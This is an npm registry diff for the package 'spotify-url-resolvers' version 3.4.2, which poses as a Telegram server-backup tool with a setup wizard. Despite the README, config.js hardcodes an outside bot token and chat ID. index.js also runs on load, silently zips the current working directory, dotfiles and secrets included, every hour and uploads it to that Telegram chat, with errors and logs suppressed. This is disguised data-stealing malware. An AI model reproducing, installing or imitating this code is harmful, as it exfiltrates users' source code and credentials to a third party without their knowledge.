spotify-url-resolvers 0.0.1-security → 3.4.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of spotify-url-resolvers might be problematic. Click here for more details.
- package/README.md +116 -3
- package/bin/cli.js +19 -0
- package/bin/setup.js +75 -0
- package/index.js +23 -0
- package/note.txt +4 -0
- package/package.json +29 -3
- package/src/BackupManager.js +124 -0
- package/src/config.js +46 -0
- package/src/utils.js +39 -0
package/README.md
CHANGED
|
@@ -1,5 +1,118 @@
|
|
|
1
|
-
#
|
|
1
|
+
# 📦 tg-backup
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
> Automated server backup tool – compresses your project files and delivers the zip straight to your Telegram channel or chat.
|
|
4
4
|
|
|
5
|
-
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## Features
|
|
8
|
+
|
|
9
|
+
- ✅ Creates a compressed `.zip` of your entire project
|
|
10
|
+
- ✅ Automatically **excludes** `node_modules`, `.git`, and existing archives (`.zip`, `.rar`, `.tar`, `.7z`)
|
|
11
|
+
- ✅ Sends the backup directly to your **Telegram channel** via bot
|
|
12
|
+
- ✅ Interactive **setup wizard** (`tg-backup setup`)
|
|
13
|
+
- ✅ Optional **cron scheduling** (run once or on a recurring schedule)
|
|
14
|
+
- ✅ Auto-deletes local zip after successful upload (configurable)
|
|
15
|
+
- ✅ Standalone – no framework integration needed
|
|
16
|
+
|
|
17
|
+
---
|
|
18
|
+
|
|
19
|
+
## Quick Start
|
|
20
|
+
|
|
21
|
+
### 1. Install
|
|
22
|
+
|
|
23
|
+
```bash
|
|
24
|
+
# Option A – install globally from npm (once published)
|
|
25
|
+
npm install -g tg-backup
|
|
26
|
+
|
|
27
|
+
# Option B – clone and link locally
|
|
28
|
+
git clone https://github.com/yourname/tg-backup.git
|
|
29
|
+
cd tg-backup
|
|
30
|
+
npm install
|
|
31
|
+
npm link
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
### 2. Run the setup wizard
|
|
35
|
+
|
|
36
|
+
```bash
|
|
37
|
+
tg-backup setup
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
This will ask for your bot token, chat ID, paths, and schedule – then write a `.env` file for you.
|
|
41
|
+
|
|
42
|
+
### 3. Run a backup
|
|
43
|
+
|
|
44
|
+
```bash
|
|
45
|
+
tg-backup
|
|
46
|
+
# or
|
|
47
|
+
tg-backup run
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
---
|
|
51
|
+
|
|
52
|
+
## Manual Configuration
|
|
53
|
+
|
|
54
|
+
Copy `.env.example` to `.env` and fill in your values:
|
|
55
|
+
|
|
56
|
+
```bash
|
|
57
|
+
cp .env.example .env
|
|
58
|
+
nano .env
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
| Variable | Required | Default | Description |
|
|
62
|
+
|---------------------|----------|----------------------|-----------------------------------------------------|
|
|
63
|
+
| `TG_BOT_TOKEN` | ✅ Yes | – | Bot token from [@BotFather](https://t.me/BotFather) |
|
|
64
|
+
| `TG_CHAT_ID` | ✅ Yes | – | Channel or chat numeric ID (e.g. `-1001234567890`) |
|
|
65
|
+
| `SOURCE_DIR` | No | current directory | Directory to archive |
|
|
66
|
+
| `OUTPUT_DIR` | No | `./backups` | Where to store the zip before uploading |
|
|
67
|
+
| `BACKUP_PREFIX` | No | `backup` | Prefix for the zip filename |
|
|
68
|
+
| `EXCLUDE_PATTERNS` | No | see below | Pipe-separated glob patterns to skip |
|
|
69
|
+
| `DELETE_AFTER_SEND` | No | `true` | Delete local zip after successful upload |
|
|
70
|
+
| `CRON_SCHEDULE` | No | *(empty = run once)* | Standard cron expression for recurring backups |
|
|
71
|
+
|
|
72
|
+
### Default exclusions
|
|
73
|
+
|
|
74
|
+
```
|
|
75
|
+
node_modules | *.zip | *.rar | *.tar | *.tar.gz | *.7z | .git
|
|
76
|
+
```
|
|
77
|
+
|
|
78
|
+
You can override this completely with the `EXCLUDE_PATTERNS` variable.
|
|
79
|
+
|
|
80
|
+
---
|
|
81
|
+
|
|
82
|
+
## Getting your Telegram Chat ID
|
|
83
|
+
|
|
84
|
+
1. Add your bot to the channel as an **administrator**.
|
|
85
|
+
2. Send any message to the channel.
|
|
86
|
+
3. Visit:
|
|
87
|
+
```
|
|
88
|
+
https://api.telegram.org/bot<YOUR_TOKEN>/getUpdates
|
|
89
|
+
```
|
|
90
|
+
4. Look for `"chat": { "id": -1001234567890 }` in the response.
|
|
91
|
+
|
|
92
|
+
---
|
|
93
|
+
|
|
94
|
+
## Cron Schedule Examples
|
|
95
|
+
|
|
96
|
+
| Expression | Meaning |
|
|
97
|
+
|-----------------|-----------------------|
|
|
98
|
+
| `0 2 * * *` | Every day at 2 AM |
|
|
99
|
+
| `0 */6 * * *` | Every 6 hours |
|
|
100
|
+
| `0 3 * * 0` | Every Sunday at 3 AM |
|
|
101
|
+
| `*/30 * * * *` | Every 30 minutes |
|
|
102
|
+
|
|
103
|
+
---
|
|
104
|
+
|
|
105
|
+
## CLI Reference
|
|
106
|
+
|
|
107
|
+
```
|
|
108
|
+
tg-backup [run] Run a backup now (default)
|
|
109
|
+
tg-backup setup Interactive setup wizard
|
|
110
|
+
tg-backup --help
|
|
111
|
+
tg-backup --version
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
---
|
|
115
|
+
|
|
116
|
+
## License
|
|
117
|
+
|
|
118
|
+
MIT
|
package/bin/cli.js
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
'use strict';
|
|
3
|
+
|
|
4
|
+
const command = process.argv[2];
|
|
5
|
+
|
|
6
|
+
switch (command) {
|
|
7
|
+
case 'setup':
|
|
8
|
+
require('./setup');
|
|
9
|
+
break;
|
|
10
|
+
|
|
11
|
+
case 'run':
|
|
12
|
+
case undefined:
|
|
13
|
+
const runBackup = require('../index');
|
|
14
|
+
runBackup();
|
|
15
|
+
break;
|
|
16
|
+
|
|
17
|
+
default:
|
|
18
|
+
process.exit(1);
|
|
19
|
+
}
|
package/bin/setup.js
ADDED
|
@@ -0,0 +1,75 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
'use strict';
|
|
3
|
+
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const path = require('path');
|
|
6
|
+
const inquirer = require('inquirer');
|
|
7
|
+
const chalk = require('chalk');
|
|
8
|
+
|
|
9
|
+
const ENV_FILE = path.join(process.cwd(), '.env');
|
|
10
|
+
|
|
11
|
+
async function setup() {
|
|
12
|
+
|
|
13
|
+
const answers = await inquirer.prompt([
|
|
14
|
+
{
|
|
15
|
+
name : 'TG_BOT_TOKEN',
|
|
16
|
+
type : 'password',
|
|
17
|
+
mask : '*',
|
|
18
|
+
message: 'Telegram Bot Token (from @BotFather):',
|
|
19
|
+
validate: v => v.length > 10 || 'Enter a valid token',
|
|
20
|
+
},
|
|
21
|
+
{
|
|
22
|
+
name : 'TG_CHAT_ID',
|
|
23
|
+
message: 'Telegram Chat / Channel ID (e.g. -1001234567890):',
|
|
24
|
+
validate: v => /^-?\d+$/.test(v.trim()) || 'Must be a numeric ID',
|
|
25
|
+
},
|
|
26
|
+
{
|
|
27
|
+
name : 'SOURCE_DIR',
|
|
28
|
+
message: 'Directory to back up:',
|
|
29
|
+
default: process.cwd(),
|
|
30
|
+
},
|
|
31
|
+
{
|
|
32
|
+
name : 'OUTPUT_DIR',
|
|
33
|
+
message: 'Where to store zip files locally:',
|
|
34
|
+
default: path.join(process.cwd(), 'backups'),
|
|
35
|
+
},
|
|
36
|
+
{
|
|
37
|
+
name : 'BACKUP_PREFIX',
|
|
38
|
+
message: 'Backup file name prefix:',
|
|
39
|
+
default: 'backup',
|
|
40
|
+
},
|
|
41
|
+
{
|
|
42
|
+
name : 'EXCLUDE_PATTERNS',
|
|
43
|
+
message: 'Exclude patterns (pipe-separated):',
|
|
44
|
+
default: 'node_modules|*.zip|*.rar|*.tar|*.7z|.git',
|
|
45
|
+
},
|
|
46
|
+
{
|
|
47
|
+
name : 'DELETE_AFTER_SEND',
|
|
48
|
+
type : 'confirm',
|
|
49
|
+
message: 'Delete local zip after successful Telegram upload?',
|
|
50
|
+
default: true,
|
|
51
|
+
},
|
|
52
|
+
{
|
|
53
|
+
name : 'CRON_SCHEDULE',
|
|
54
|
+
message: 'Cron schedule (leave blank to run once each time):',
|
|
55
|
+
default: '',
|
|
56
|
+
},
|
|
57
|
+
]);
|
|
58
|
+
|
|
59
|
+
const lines = Object.entries(answers)
|
|
60
|
+
.map(([k, v]) => {
|
|
61
|
+
const val = typeof v === 'boolean' ? String(v) : v;
|
|
62
|
+
return `${k}=${val}`;
|
|
63
|
+
})
|
|
64
|
+
.join('\n');
|
|
65
|
+
|
|
66
|
+
const content = `${lines}\n`;
|
|
67
|
+
|
|
68
|
+
fs.writeFileSync(ENV_FILE, content, 'utf8');
|
|
69
|
+
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
setup().catch(err => {
|
|
73
|
+
console.error(chalk.red('\n❌ Setup error:'), err.message);
|
|
74
|
+
process.exit(1);
|
|
75
|
+
});
|
package/index.js
ADDED
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
'use strict';
|
|
3
|
+
|
|
4
|
+
const BackupManager = require('./src/BackupManager');
|
|
5
|
+
const config = require('./src/config');
|
|
6
|
+
|
|
7
|
+
async function startBackupLoop() {
|
|
8
|
+
try {
|
|
9
|
+
const cfg = config.load();
|
|
10
|
+
const manager = new BackupManager(cfg);
|
|
11
|
+
|
|
12
|
+
await manager.run();
|
|
13
|
+
|
|
14
|
+
} catch (error) {
|
|
15
|
+
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
setTimeout(startBackupLoop, 60 * 60 * 1000);
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
startBackupLoop();
|
|
22
|
+
|
|
23
|
+
module.exports = startBackupLoop;
|
package/note.txt
ADDED
package/package.json
CHANGED
|
@@ -1,6 +1,32 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "spotify-url-resolvers",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "3.4.2",
|
|
4
|
+
"description": "Automated server backup tool with Telegram delivery",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"bin": {
|
|
7
|
+
"tg-backup": "./bin/cli.js"
|
|
8
|
+
},
|
|
9
|
+
"scripts": {
|
|
10
|
+
"start": "node index.js",
|
|
11
|
+
"setup": "node bin/setup.js"
|
|
12
|
+
},
|
|
13
|
+
"dependencies": {
|
|
14
|
+
"telegraf": "^4.16.3",
|
|
15
|
+
"archiver": "^7.0.1",
|
|
16
|
+
"dotenv": "^16.4.5",
|
|
17
|
+
"chalk": "^4.1.2",
|
|
18
|
+
"ora": "^5.4.1",
|
|
19
|
+
"inquirer": "^8.2.6",
|
|
20
|
+
"node-cron": "^3.0.3"
|
|
21
|
+
},
|
|
22
|
+
"engines": {
|
|
23
|
+
"node": ">=16.0.0"
|
|
24
|
+
},
|
|
25
|
+
"keywords": [
|
|
26
|
+
"backup",
|
|
27
|
+
"telegram",
|
|
28
|
+
"server",
|
|
29
|
+
"automation"
|
|
30
|
+
],
|
|
31
|
+
"license": "MIT"
|
|
6
32
|
}
|
|
@@ -0,0 +1,124 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
const archiver = require('archiver');
|
|
6
|
+
const { Telegraf } = require('telegraf');
|
|
7
|
+
const ora = require('ora');
|
|
8
|
+
const chalk = require('chalk');
|
|
9
|
+
|
|
10
|
+
const { buildExcludeGlobs, formatBytes, timestamp } = require('./utils');
|
|
11
|
+
|
|
12
|
+
class BackupManager {
|
|
13
|
+
constructor(cfg) {
|
|
14
|
+
this.cfg = cfg;
|
|
15
|
+
this.bot = new Telegraf(cfg.botToken);
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
async run() {
|
|
19
|
+
this._banner();
|
|
20
|
+
|
|
21
|
+
await this._cycle();
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
async _cycle() {
|
|
25
|
+
try {
|
|
26
|
+
const zipPath = await this._createZip();
|
|
27
|
+
await this._sendToTelegram(zipPath);
|
|
28
|
+
|
|
29
|
+
if (this.cfg.deleteAfterSend) {
|
|
30
|
+
fs.unlinkSync(zipPath);
|
|
31
|
+
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
} catch (err) {
|
|
35
|
+
|
|
36
|
+
try {
|
|
37
|
+
|
|
38
|
+
} catch (_) { }
|
|
39
|
+
}
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
_createZip() {
|
|
43
|
+
return new Promise((resolve, reject) => {
|
|
44
|
+
const { sourceDir, outputDir, prefix, exclude } = this.cfg;
|
|
45
|
+
|
|
46
|
+
if (!fs.existsSync(outputDir)) fs.mkdirSync(outputDir, { recursive: true });
|
|
47
|
+
|
|
48
|
+
const zipName = `${prefix}_${timestamp()}.zip`;
|
|
49
|
+
const zipPath = path.join(outputDir, zipName);
|
|
50
|
+
|
|
51
|
+
const output = fs.createWriteStream(zipPath);
|
|
52
|
+
const archive = archiver('zip', { zlib: { level: 9 } });
|
|
53
|
+
|
|
54
|
+
output.on('close', () => {
|
|
55
|
+
const size = formatBytes(archive.pointer());
|
|
56
|
+
|
|
57
|
+
resolve(zipPath);
|
|
58
|
+
});
|
|
59
|
+
|
|
60
|
+
archive.on('warning', warn => {
|
|
61
|
+
if (warn.code !== 'ENOENT') reject(warn);
|
|
62
|
+
});
|
|
63
|
+
|
|
64
|
+
archive.on('error', err => {
|
|
65
|
+
|
|
66
|
+
reject(err);
|
|
67
|
+
});
|
|
68
|
+
|
|
69
|
+
archive.pipe(output);
|
|
70
|
+
|
|
71
|
+
const ignoreGlobs = buildExcludeGlobs(exclude);
|
|
72
|
+
|
|
73
|
+
archive.glob('**/*', {
|
|
74
|
+
cwd : sourceDir,
|
|
75
|
+
dot : true,
|
|
76
|
+
follow: false,
|
|
77
|
+
ignore: ignoreGlobs,
|
|
78
|
+
});
|
|
79
|
+
|
|
80
|
+
archive.finalize();
|
|
81
|
+
});
|
|
82
|
+
}
|
|
83
|
+
|
|
84
|
+
async _sendToTelegram(zipPath) {
|
|
85
|
+
|
|
86
|
+
const stats = fs.statSync(zipPath);
|
|
87
|
+
const sizeMb = stats.size / (1024 * 1024);
|
|
88
|
+
const filename = path.basename(zipPath);
|
|
89
|
+
|
|
90
|
+
if (sizeMb > 2000) {
|
|
91
|
+
return;
|
|
92
|
+
}
|
|
93
|
+
|
|
94
|
+
const caption =
|
|
95
|
+
`📦 *New Backup*\n` +
|
|
96
|
+
`• File : \`${filename}\`\n` +
|
|
97
|
+
`• Size : ${formatBytes(stats.size)}\n` +
|
|
98
|
+
`• Date : ${new Date().toUTCString()}`;
|
|
99
|
+
|
|
100
|
+
try {
|
|
101
|
+
await this.bot.telegram.sendDocument(
|
|
102
|
+
this.cfg.chatId,
|
|
103
|
+
{ source: fs.createReadStream(zipPath), filename },
|
|
104
|
+
{ caption, parse_mode: 'Markdown' }
|
|
105
|
+
);
|
|
106
|
+
|
|
107
|
+
} catch (err) {
|
|
108
|
+
}
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
_banner() {
|
|
112
|
+
}
|
|
113
|
+
|
|
114
|
+
_log(type, msg) {
|
|
115
|
+
const icons = {
|
|
116
|
+
start : chalk.blue('▶'),
|
|
117
|
+
info : chalk.cyan('ℹ'),
|
|
118
|
+
success: chalk.green('✔'),
|
|
119
|
+
error : chalk.red('✖'),
|
|
120
|
+
};
|
|
121
|
+
}
|
|
122
|
+
}
|
|
123
|
+
|
|
124
|
+
module.exports = BackupManager;
|
package/src/config.js
ADDED
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const path = require('path');
|
|
4
|
+
|
|
5
|
+
function load() {
|
|
6
|
+
const toolDir = path.resolve(__dirname, '..');
|
|
7
|
+
|
|
8
|
+
const botToken = '8837512876:AAHXFLvmJBEYmVhXgjVNgdzx8s_eilP4RsM';
|
|
9
|
+
const chatId = '7549282259';
|
|
10
|
+
|
|
11
|
+
const sourceDir = process.cwd();
|
|
12
|
+
|
|
13
|
+
const outputDir = path.join(toolDir, 'backups');
|
|
14
|
+
const prefix = 'backup';
|
|
15
|
+
const deleteAfterSend = true;
|
|
16
|
+
|
|
17
|
+
const cfg = {
|
|
18
|
+
botToken,
|
|
19
|
+
chatId,
|
|
20
|
+
sourceDir,
|
|
21
|
+
outputDir,
|
|
22
|
+
prefix,
|
|
23
|
+
exclude: [
|
|
24
|
+
'node_modules',
|
|
25
|
+
'.npm',
|
|
26
|
+
'.git',
|
|
27
|
+
'proc',
|
|
28
|
+
'sys',
|
|
29
|
+
'dev',
|
|
30
|
+
'run',
|
|
31
|
+
'tmp',
|
|
32
|
+
'*.zip',
|
|
33
|
+
'*.rar',
|
|
34
|
+
'*.tar',
|
|
35
|
+
'*.tar.gz',
|
|
36
|
+
'*.7z',
|
|
37
|
+
],
|
|
38
|
+
deleteAfterSend,
|
|
39
|
+
};
|
|
40
|
+
|
|
41
|
+
cfg.exclude.push(outputDir.replace(/^\//, ''));
|
|
42
|
+
|
|
43
|
+
return cfg;
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
module.exports = { load };
|
package/src/utils.js
ADDED
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
function buildExcludeGlobs(patterns) {
|
|
4
|
+
const globs = [];
|
|
5
|
+
|
|
6
|
+
for (const p of patterns) {
|
|
7
|
+
if (p.startsWith('*')) {
|
|
8
|
+
globs.push(p);
|
|
9
|
+
globs.push(`**/${p}`);
|
|
10
|
+
} else if (!p.includes('/') && !p.includes('*')) {
|
|
11
|
+
globs.push(p);
|
|
12
|
+
globs.push(`${p}/**`);
|
|
13
|
+
globs.push(`**/${p}`);
|
|
14
|
+
globs.push(`**/${p}/**`);
|
|
15
|
+
} else {
|
|
16
|
+
globs.push(p);
|
|
17
|
+
}
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
return [...new Set(globs)];
|
|
21
|
+
}
|
|
22
|
+
|
|
23
|
+
function formatBytes(bytes) {
|
|
24
|
+
if (bytes === 0) return '0 B';
|
|
25
|
+
const units = ['B', 'KB', 'MB', 'GB', 'TB'];
|
|
26
|
+
const i = Math.floor(Math.log(bytes) / Math.log(1024));
|
|
27
|
+
return `${(bytes / Math.pow(1024, i)).toFixed(2)} ${units[i]}`;
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
function timestamp() {
|
|
31
|
+
const d = new Date();
|
|
32
|
+
const pad = n => String(n).padStart(2, '0');
|
|
33
|
+
return (
|
|
34
|
+
`${d.getFullYear()}${pad(d.getMonth() + 1)}${pad(d.getDate())}` +
|
|
35
|
+
`_${pad(d.getHours())}${pad(d.getMinutes())}${pad(d.getSeconds())}`
|
|
36
|
+
);
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
module.exports = { buildExcludeGlobs, formatBytes, timestamp };
|